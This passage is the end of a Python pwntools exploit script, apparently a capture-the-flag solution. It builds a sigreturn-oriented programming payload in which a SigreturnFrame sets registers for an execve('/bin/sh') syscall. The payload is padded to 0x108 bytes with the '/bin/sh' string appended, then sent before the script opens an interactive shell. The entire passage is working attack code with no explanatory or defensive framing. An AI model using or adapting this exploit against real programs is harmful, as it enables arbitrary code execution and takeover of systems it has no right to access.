    frame2 = SigreturnFrame()
    frame2.rax = constants.SYS_execve
    frame2.rdi = binsh_addr
    frame2.rsi = 0
    frame2.rdx = 0
    frame2.rip = syscall_ret
    
    payload_2 = p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame2)
    payload_2 = payload_2.ljust(0x108, b'\x00') + b'/bin/sh\x00'
    
    io.send(payload_2)
    
    io.interactive()

if __name__ == "__main__":
    main()